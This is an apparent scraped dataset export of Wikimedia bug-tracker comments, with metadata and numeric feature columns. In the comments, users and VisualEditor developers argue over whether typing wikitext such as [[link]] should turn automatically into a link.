Once we add support for [[]] magically transforming into a link, does that mean we also have to support magic words such as {{DEFAULTSORT:}}, __NOTOC__, and so on? What about ParserFunctions such as {{#time:}} and {{#if:}}?

And, of course, a certain percentage of users will want to actually include brackets (""["" and ""]"") in their edits. How do they undo the magical transformation?

Down this path, madness lies, I promise.

> easy to do, simple, and does not go against any principle in UI design,
> except sheer stubbornness of the VE team.

The VE team has certainly exhibited some stubbornness. But I personally agree with their decision here.

> unfortunately i am not able at this time to provide a patch, but 92.24% of
> the code is already in place - just find where VE jumps the popup, and do
> something useful instead.

A patch to VisualEditor or to MediaWiki will not be accepted. However, users are welcome to create JavaScript gadgets, personal JavaScript subpages, client-side scripts (think Greasemonkey), or even implement site-wide JavaScript with appropriate community consultation and consensus.",,,1374701180,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0.4,0.2,0.2,0.2,0.6,2.8,0.4,0.0,0.0,0.2,1.2,0.2,0.0,0.0,0.0,1.2,0.8,5.2,7.8,0.2,2.0,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.0,0.4,0.2,5.2,2.4,0.2,1.4,0.4,0.0,0.0,1.6,0.4,0.0,1.4,0.2,1.4,0.0,0.2,0.0,0.0,0.0,10.0,0.4,0.4,0.2,0.4,0.0,0.0,0.0,0.2,0.6,0.0,0.2,0.4,0.2,0.8,0.0,0.0,0.4,2.4,1.0,9.6,0.8,2.8,3.6,0.0,0.2,0.0,0.6,3.2,0.0,0.6,0.0,3.2,7.8,4.6,1.0,2.0,0.0,3.2,0.0,1.2,1.2,0.0,1.0,0.0,0.0,6.2,3.4262571514604034,0.63998795543511,"(In reply to comment #25)
QUOTE
QUOTE
QUOTE
QUOTE

Yep, I think everyone commenting on this bug understands the request. :-)

The problem is, as stated, computers aren't very good at reading minds or understanding context. You want to support ""[["" magically transforming into a VisualEditor link. This is certainly possible to implement, but then you naturally have to support:

* [[foo]]
* [[foo]]s
* [[foo|bar]]
* [[w:foo]]
* [[w:foo|]]
* [[w:en:foo (bar)|]]
* [[WP:FOO]]

When a user types ""[[File:foo.png]]"", do they really mean they want a link to the file or do they really mean they want to include the file?

What about ""[[Category:foo]]""? It's often trivial for humans to understand what we mean or to understand what other humans mean, but computers... not so much.

Once we add support for [[]] magically transforming into a link, does that mean we also have to support magic words such as {{DEFAULTSORT:}}, __NOTOC__, and so on? What about ParserFunctions such as {{#time:}} and {{#if:}}?

And, of course, a certain percentage of users will want to actually include brackets (""["" and ""]"") in their edits. How do they undo the magical transformation?

Down this path, madness lies, I promise.

QUOTE
QUOTE

The VE team has certainly exhibited some stubbornness. But I personally agree with their decision here.

QUOTE
QUOTE
QUOTE

A patch to VisualEditor or to MediaWiki will not be accepted. However, users are welcome to create JavaScript gadgets, personal JavaScript subpages, client-side scripts (think Greasemonkey), or even implement site-wide JavaScript with appropriate community consultation and consensus."
244152,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"i am not sure you understand the precise nature of this request, so let me elaborate:

what we ask (at least, this is what i asked - see bug 51897, which was marked as duplicate of this one) is that when the user types ""[["", VE will remove the ""[["" from the page, and behave as if the user typed <Ctrl>+K, i.e. open the ""Link"" form.

simple and easy, VE already recognizes that the user typed ""[["" - all we ask is that instead of jumping less-than-useful-and-often-out-of-screen popup, VE will do something good and useful for the community, for society, and for humanity.

in the same way, when the user types ""{{"", remove it from the page and behave as if she clicked on the puzzle piece, instead of jumping the less-than-useful popup.

easy to do, simple, and does not go against any principle in UI design, except sheer stubbornness of the VE team.

unfortunately i am not able at this time to provide a patch, but 92.24% of the code is already in place - just find where VE jumps the popup, and do something useful instead.

peace.",,,1374690348,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,1.0,6.0,1.6666666666666667,0.0,0.0,0.6666666666666666,3.6666666666666665,0.0,0.0,0.0,0.0,2.0,0.0,5.0,11.666666666666666,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,4.666666666666667,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,11.0,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,6.0,2.3333333333333335,3.0,3.0,3.6666666666666665,8.333333333333334,0.0,0.0,0.0,0.0,4.666666666666667,0.0,1.0,0.0,3.0,11.666666666666666,2.3333333333333335,0.0,3.3333333333333335,0.0,3.0,0.0,2.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.3333333333333333,3.0,3.3367989056087555,0.6639306885544916,"i am not sure you understand the precise nature of this request, so let me elaborate:

what we ask (at least, this is what i asked - see bug 51897, which was marked as duplicate of this one) is that when the user types ""[["", VE will remove the ""[["" from the page, and behave as if the user typed <Ctrl>+K, i.e. open the ""Link"" form.

simple and easy, VE already recognizes that the user typed ""[["" - all we ask is that instead of jumping less-than-useful-and-often-out-of-screen popup, VE will do something good and useful for the community, for society, and for humanity.

in the same way, when the user types ""{{"", remove it from the page and behave as if she clicked on the puzzle piece, instead of jumping the less-than-useful popup.

easy to do, simple, and does not go against any principle in UI design, except sheer stubbornness of the VE team.

unfortunately i am not able at this time to provide a patch, but 92.24% of the code is already in place - just find where VE jumps the popup, and do something useful instead.

peace."
244145,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #23)
> well, in all this products, when i misspell a word, the thing silently and
> valiantly just fix my mistake, instead of shouting at me[1]. 
> generally, this is known as ""Auto correct"" (sometimes also [[DWIM]]: ""Do
> What I Mean"").
> 
> [...]
> 
> when you recognize that the user did something they did not mean to do, such
> as mispelling a word (in M$ word) or typing [[Something something]] in VE,
> just Do What the User Meant.

Computers can't read minds and they monumentally struggle with understanding context. When I type ""subst"" into OS X (as in template substitution), it autocorrects to ""subset"" because surely that's what I meant, right?

I completely agree with you that [[muscle memory]] here is an issue. And I completely agree that we need to find ways to make linking as painless as possible in VisualEditor (we're not there yet). But part of meeting user expectations is to take input (such as ""[[foo]]"", which displays as ""[[foo]]"" in VisualEditor) and output it as the user saw it in the editor.

These type of magical transformations won't be supported in VisualEditor and I think that's a reasonable position to take. However, it should be completely possible to create a JavaScript gadget that can enhance the user experience for those who have a deep understanding of the difference between source editing and visual editing and who would like a hybrid option. I'd pursue this. :-)",,,1374689458,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,1.0,0.3333333333333333,1.0,4.0,1.0,0.3333333333333333,0.0,0.0,4.666666666666667,1.6666666666666667,0.0,0.0,0.0,3.0,0.6666666666666666,5.0,10.333333333333334,0.0,2.6666666666666665,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,5.0,2.3333333333333335,1.6666666666666667,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,0.6666666666666666,0.0,0.3333333333333333,0.0,2.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,10.0,1.6666666666666667,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.6666666666666666,0.0,1.0,0.0,0.3333333333333333,0.0,3.6666666666666665,1.6666666666666667,10.333333333333334,1.3333333333333333,2.6666666666666665,6.0,0.0,0.3333333333333333,0.0,0.3333333333333333,5.333333333333333,0.0,0.3333333333333333,0.0,5.0,10.333333333333334,4.666666666666667,0.3333333333333333,2.6666666666666665,0.0,5.0,0.0,2.3333333333333335,2.0,0.0,0.6666666666666666,0.0,0.0,3.3333333333333335,3.807908687655523,0.6740235854159905,"(In reply to comment #23)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Computers can't read minds and they monumentally struggle with understanding context. When I type ""subst"" into OS X (as in template substitution), it autocorrects to ""subset"" because surely that's what I meant, right?

I completely agree with you that [[muscle memory]] here is an issue. And I completely agree that we need to find ways to make linking as painless as possible in VisualEditor (we're not there yet). But part of meeting user expectations is to take input (such as ""[[foo]]"", which displays as ""[[foo]]"" in VisualEditor) and output it as the user saw it in the editor.

These type of magical transformations won't be supported in VisualEditor and I think that's a reasonable position to take. However, it should be completely possible to create a JavaScript gadget that can enhance the user experience for those who have a deep understanding of the difference between source editing and visual editing and who would like a hybrid option. I'd pursue this. :-)"
244136,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"please look above: in comment 15, Forrester did some namedropping: ""Microsoft
Word, OpenOffice, Google Docs, Apple Pages and more"".

well, in all this products, when i misspell a word, the thing silently and valiantly just fix my mistake, instead of shouting at me[1]. 
generally, this is known as ""Auto correct"" (sometimes also [[DWIM]]: ""Do What I Mean"").

if really you use these products as your role model, please pick the good stuff, not the crappy stuff. who cares if the shortcut for ""link"" is <Ctrl>+K or <Ctrl>+L ?

why can't you adopt the real valuable features from them instead of the completely anecdotal ones?

when you recognize that the user did something they did not mean to do, such as mispelling a word (in M$ word) or typing [[Something something]] in VE, just Do What the User Meant.


peace.


[1] i cheated - i am not actually sure if it's really ""in all those products"". i know it's in most of them.",,,1374688603,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,1.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,1.6666666666666667,2.6666666666666665,0.0,0.0,0.0,1.0,4.333333333333333,0.3333333333333333,0.0,0.0,0.0,2.3333333333333335,0.6666666666666666,8.333333333333334,8.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,4.0,2.3333333333333335,1.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,7.666666666666667,0.3333333333333333,1.0,0.3333333333333333,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,3.6666666666666665,1.0,8.333333333333334,2.6666666666666665,1.3333333333333333,6.333333333333333,0.0,0.0,0.0,0.0,3.0,1.0,0.3333333333333333,0.0,5.666666666666667,8.0,4.333333333333333,0.6666666666666666,3.6666666666666665,0.0,5.666666666666667,0.0,2.0,0.6666666666666666,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.3333333333333333,4.666666666666667,3.426666666666667,0.7466666666666666,"please look above: in comment 15, Forrester did some namedropping: ""Microsoft
Word, OpenOffice, Google Docs, Apple Pages and more"".

well, in all this products, when i misspell a word, the thing silently and valiantly just fix my mistake, instead of shouting at me[1]. 
generally, this is known as ""Auto correct"" (sometimes also [[DWIM]]: ""Do What I Mean"").

if really you use these products as your role model, please pick the good stuff, not the crappy stuff. who cares if the shortcut for ""link"" is <Ctrl>+K or <Ctrl>+L ?

why can't you adopt the real valuable features from them instead of the completely anecdotal ones?

when you recognize that the user did something they did not mean to do, such as mispelling a word (in M$ word) or typing [[Something something]] in VE, just Do What the User Meant.


peace.


[1] i cheated - i am not actually sure if it's really ""in all those products"". i know it's in most of them."
244127,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"We're listening, but in this case we're saying no, and that decision is final. We can elaborate a bit more on the why if that helps, but parsing wikitext in VisualEditor is absolutely not going to happen.

If accidental insertion of wikitext is still an issue, we should focus on other ways to mitigate that issue.",,,1374687843,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,2.0,0.0,2.0,6.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,14.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,11.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,6.0,5.0,5.0,11.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,6.0,14.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,3.0,0.0,6.0,2.0,0.0,0.0,3.9393939393939394,0.7272727272727273,"We're listening, but in this case we're saying no, and that decision is final. We can elaborate a bit more on the why if that helps, but parsing wikitext in VisualEditor is absolutely not going to happen.

If accidental insertion of wikitext is still an issue, we should focus on other ways to mitigate that issue."
244118,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #17)
> So, let's calm down here.
> 
> We're not ""pissing on"" anyone; 

yes you are.
if you look at the different wikis, and if you search here with ""product=visualeditor"" and ""search word=nowiki"", you will find that one of the main complaints of editors in many projects (specifically enwiki and nlwiki), is the fact that users type ""[[something something]]"", and VE wraps it with ""nowiki"". this is clearly not what the editor meant to do

true, VE also jumps a popup message telling the editor ""this is probably not what you meant"", but there are two issues with that:
1) because of unrelated bug, this popup message is usually not even seen by the editor.
2) if the thing is cleaver enough to know that this is not what i meant, why can't it just Do the Right Thing (tm) ? (answer: of course it can, but the team decided to WONTFIX it).


this attitude of VE team - pissing on and pissing off the user base at the same time, already caused the editors in nlwiki to vote not to activate it in the planned date (and they can do it - you guys removed the switch - we can bring it back through common.js or through gadgets, and we can also make it ""default"". is a fight with the user base really what you need right now?).


why does it seem, with this and other bugs (specifically, insisting on hiding the preference to disable VE), that the VE team made a conscious (or maybe  unconscious) decision to ignore the community and shun it?
what does the VE team expect to accomplish this way?


we want VE and we like VE, but you guys should do a better job listening to us when we tell you where it hurts.

peace.",,,1374687528,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0.25,0.5,0.0,0.0,1.5,3.75,0.5,0.25,0.0,0.75,1.0,0.25,0.0,0.0,0.25,1.75,0.0,6.75,10.0,0.5,2.0,0.25,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.25,0.5,5.0,2.0,2.75,0.75,2.25,0.25,0.0,0.5,0.75,0.0,0.25,0.25,0.5,0.0,0.0,0.25,0.0,0.75,13.0,1.25,0.75,0.75,0.5,0.25,0.0,0.0,0.0,1.5,0.0,1.0,0.25,0.0,0.0,0.0,0.0,0.0,5.75,2.25,4.0,3.0,3.75,8.0,0.0,0.0,0.0,0.25,4.5,0.25,1.25,0.0,7.25,10.0,3.25,1.0,3.0,0.0,7.25,0.0,2.25,1.0,0.25,1.5,0.25,0.0,0.75,3.4627659574468086,0.6462765957446808,"(In reply to comment #17)
QUOTE
QUOTE
QUOTE

yes you are.
if you look at the different wikis, and if you search here with ""product=visualeditor"" and ""search word=nowiki"", you will find that one of the main complaints of editors in many projects (specifically enwiki and nlwiki), is the fact that users type ""[[something something]]"", and VE wraps it with ""nowiki"". this is clearly not what the editor meant to do

true, VE also jumps a popup message telling the editor ""this is probably not what you meant"", but there are two issues with that:
1) because of unrelated bug, this popup message is usually not even seen by the editor.
2) if the thing is cleaver enough to know that this is not what i meant, why can't it just Do the Right Thing (tm) ? (answer: of course it can, but the team decided to WONTFIX it).


this attitude of VE team - pissing on and pissing off the user base at the same time, already caused the editors in nlwiki to vote not to activate it in the planned date (and they can do it - you guys removed the switch - we can bring it back through common.js or through gadgets, and we can also make it ""default"". is a fight with the user base really what you need right now?).


why does it seem, with this and other bugs (specifically, insisting on hiding the preference to disable VE), that the VE team made a conscious (or maybe  unconscious) decision to ignore the community and shun it?
what does the VE team expect to accomplish this way?


we want VE and we like VE, but you guys should do a better job listening to us when we tell you where it hurts.

peace."
244107,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"Thank you very much for the clarification, Erik. I was just about to ask, following comment 17, whether this was truly a wontfix (i.e., patches will not be accepted) or whether it was simply a very low priority. :-)",,,1374683131,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,2.0,0.0,4.0,2.0,2.0,2.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,11.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,6.0,4.0,2.0,9.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,6.0,11.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,3.765957446808511,0.8085106382978723,"Thank you very much for the clarification, Erik. I was just about to ask, following comment 17, whether this was truly a wontfix (i.e., patches will not be accepted) or whether it was simply a very low priority. :-)"
244102,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"""other user interfaces optimized for markup"" -> ""other user interfaces optimized for completing actions quickly in VisualEditor that are fast to do in markup""",,,1374682618,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,4.655172413793103,0.6551724137931034,"""other user interfaces optimized for markup"" -> ""other user interfaces optimized for completing actions quickly in VisualEditor that are fast to do in markup"""
244098,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"Sorry, but this is not something we'll ever do, as I explained in comment 9. It's not simply a matter of prioritization - it's a matter of ensuring we can provide a user experience that's not modeled on markup, but on best user experience practices. As James said, we provide keyboard shortcuts, and will provide other user interfaces optimized for markup. But parsing markup within the visual editing context is completely off the table.",,,1374682548,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0.0,1.0,1.0,0.0,3.0,3.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,5.0,0.0,7.0,11.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,7.0,1.0,2.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,20.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,1.0,0.0,6.0,2.0,7.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,7.0,11.0,1.0,0.0,0.0,0.0,7.0,0.0,1.0,3.0,0.0,2.0,0.0,1.0,0.0,4.195402298850575,0.6781609195402298,"Sorry, but this is not something we'll ever do, as I explained in comment 9. It's not simply a matter of prioritization - it's a matter of ensuring we can provide a user experience that's not modeled on markup, but on best user experience practices. As James said, we provide keyboard shortcuts, and will provide other user interfaces optimized for markup. But parsing markup within the visual editing context is completely off the table."
244094,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"So, let's calm down here.

We're not ""pissing on"" anyone; we're choosing to prioritise. Right now the devs have got a lot of open bugs for the VisualEditor - things that actively /don't work/. They've got a lot of features still to build, and a lot of expectations about the project. Personally, I'm incredibly impressed with the speed of change and the patches that have been submitted so far - it's a fantastic workrate. But that doesn't change the fact that there's still a lot to do.

Now: we /can/ have wikitext converted to VE-compatible elements. But there are a few costs. First: from my conversations with the developers, I understand that doing it on the fly would slow the VE down very substantially. You'd have to automatically parse and re-render the page. Second: if they work on this, there's a lot of stuff that is going to get pushed back.

We have a VisualEditor. It's great, it's miles better than anything else produced to do this job in MediaWiki, but it still needs a lot of work and still has a lot of active bugs - problems parsing content, problems rendering content. If enhancements such as this (which would certainly be nice) are worked on, active breakage will take a back seat: those areas where it simply doesn't have features will take a back seat. I'm not comfortable with saying that we rate ""being able to type markup into the VisualEditor"" higher than ""being able to manipulate tables"".

As you note, the source editor is still available in all namespaces. Users who are actively prioritising familiarity with syntax, and their muscle memory, are welcome to use it. It's not going away. In the meantime, the VE development process should be focused on making it work full stop, not making it work for the users who are highly comfortable with source editing. That's nice, and it's something I'd love to see, but it's not going to happen if actual bugs aren't fixed first.",,,1374681807,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0.4,0.6,0.4,0.8,1.8,5.0,1.2,0.0,0.0,0.6,1.0,2.2,0.0,0.0,0.6,2.0,0.2,7.8,10.2,0.6,2.4,0.2,0.0,0.0,0.0,0.2,0.0,0.4,0.0,1.2,0.6,7.4,0.6,2.6,0.4,0.4,0.0,0.2,0.6,0.0,0.0,0.6,0.4,1.2,0.0,0.8,0.0,0.4,0.2,10.8,1.0,0.8,0.4,1.4,0.0,0.2,0.0,0.6,0.6,0.0,0.8,1.6,0.2,0.2,0.2,0.8,0.0,5.6,2.8,6.2,1.4,2.2,7.2,0.0,0.0,0.0,0.0,5.8,0.0,0.0,0.0,6.0,10.2,1.4,0.0,1.2,0.0,6.0,0.0,1.4,2.4,0.0,2.8,0.4,0.0,0.0,3.8601626016260164,0.7260162601626017,"So, let's calm down here.

We're not ""pissing on"" anyone; we're choosing to prioritise. Right now the devs have got a lot of open bugs for the VisualEditor - things that actively /don't work/. They've got a lot of features still to build, and a lot of expectations about the project. Personally, I'm incredibly impressed with the speed of change and the patches that have been submitted so far - it's a fantastic workrate. But that doesn't change the fact that there's still a lot to do.

Now: we /can/ have wikitext converted to VE-compatible elements. But there are a few costs. First: from my conversations with the developers, I understand that doing it on the fly would slow the VE down very substantially. You'd have to automatically parse and re-render the page. Second: if they work on this, there's a lot of stuff that is going to get pushed back.

We have a VisualEditor. It's great, it's miles better than anything else produced to do this job in MediaWiki, but it still needs a lot of work and still has a lot of active bugs - problems parsing content, problems rendering content. If enhancements such as this (which would certainly be nice) are worked on, active breakage will take a back seat: those areas where it simply doesn't have features will take a back seat. I'm not comfortable with saying that we rate ""being able to type markup into the VisualEditor"" higher than ""being able to manipulate tables"".

As you note, the source editor is still available in all namespaces. Users who are actively prioritising familiarity with syntax, and their muscle memory, are welcome to use it. It's not going away. In the meantime, the VE development process should be focused on making it work full stop, not making it work for the users who are highly comfortable with source editing. That's nice, and it's something I'd love to see, but it's not going to happen if actual bugs aren't fixed first."
244090,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #15)
> If you want an ""accelerator key"" for making links, use the standard one:
> Ctrl +
> K (or Cmd + K if you're on a Mac). This is the same shortcut as in Microsoft
> Word, OpenOffice, Google Docs, Apple Pages and more.

and ""[["" is the same one as used by tens of thousands of wikipedia editors.
it's not even ""a thing of the past"" - source editor remains the only editor in many name spaces, and is still available in _all_ of them.

pissing on your user base is not a good way to handle software projects.

peace.",,,1374681409,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,2.0,0.0,0.0,0.0,2.0,6.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,2.0,7.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,3.0,13.0,2.0,0.0,4.0,0.0,3.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,2.0,3.2111111111111112,0.6666666666666666,"(In reply to comment #15)
QUOTE
QUOTE
QUOTE
QUOTE

and ""[["" is the same one as used by tens of thousands of wikipedia editors.
it's not even ""a thing of the past"" - source editor remains the only editor in many name spaces, and is still available in _all_ of them.

pissing on your user base is not a good way to handle software projects.

peace."
244086,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"If you want an ""accelerator key"" for making links, use the standard one: Ctrl + K (or Cmd + K if you're on a Mac). This is the same shortcut as in Microsoft Word, OpenOffice, Google Docs, Apple Pages and more.",,,1374679580,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,26.0,4.0,8.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,11.0,21.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,3.188679245283019,0.8301886792452831,"If you want an ""accelerator key"" for making links, use the standard one: Ctrl + K (or Cmd + K if you're on a Mac). This is the same shortcut as in Microsoft Word, OpenOffice, Google Docs, Apple Pages and more."
244082,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"**turingt** wrote:

For what it's worth, I find that ""[["" is a very good accelerator key - mainly because it's already known and remembered by a huge portion of your user base, myself included.

And Erik, wikitext is still awesome today - it's the only known way to allow users to create semantic-enhanced content. The VisualEditor is good for laying out formatted text on a page, but the relations between concepts placed at different pages are better created by adding tags (links, categories, templates...) to the content. The current VE interface mostly hides those tags and requires handling complex dialogs to introduce or edit them, which makes it less convenient for introducing semantics than wikitext. That's why people is requesting smoother and seamless ways to switch between the VE and the source editor.",,,1374678026,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.5,0.5,0.0,6.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,1.0,5.0,10.5,0.0,2.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,1.0,0.5,0.0,0.5,0.5,1.5,0.0,0.5,0.5,1.0,0.5,0.5,0.0,0.0,0.0,16.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,5.5,2.5,5.5,1.5,4.0,7.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,10.5,2.0,0.0,1.0,0.0,4.0,0.0,1.5,1.5,1.0,3.0,1.0,0.0,1.0,4.195121951219512,0.7804878048780488,"**turingt** wrote:

For what it's worth, I find that ""[["" is a very good accelerator key - mainly because it's already known and remembered by a huge portion of your user base, myself included.

And Erik, wikitext is still awesome today - it's the only known way to allow users to create semantic-enhanced content. The VisualEditor is good for laying out formatted text on a page, but the relations between concepts placed at different pages are better created by adding tags (links, categories, templates...) to the content. The current VE interface mostly hides those tags and requires handling complex dialogs to introduce or edit them, which makes it less convenient for introducing semantics than wikitext. That's why people is requesting smoother and seamless ways to switch between the VE and the source editor."
244080,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"based on:

bug 51554
bug 51944
bug 51462
bug 50527

and a dozen or so more (as seen here:
https://bugzilla.wikimedia.org/buglist.cgi?query_format=specific&order=relevance%20desc&bug_status=__open__&product=VisualEditor&content=nowiki&list_id=219956


i changed this one to ""reopen"" and marked it ""high"".

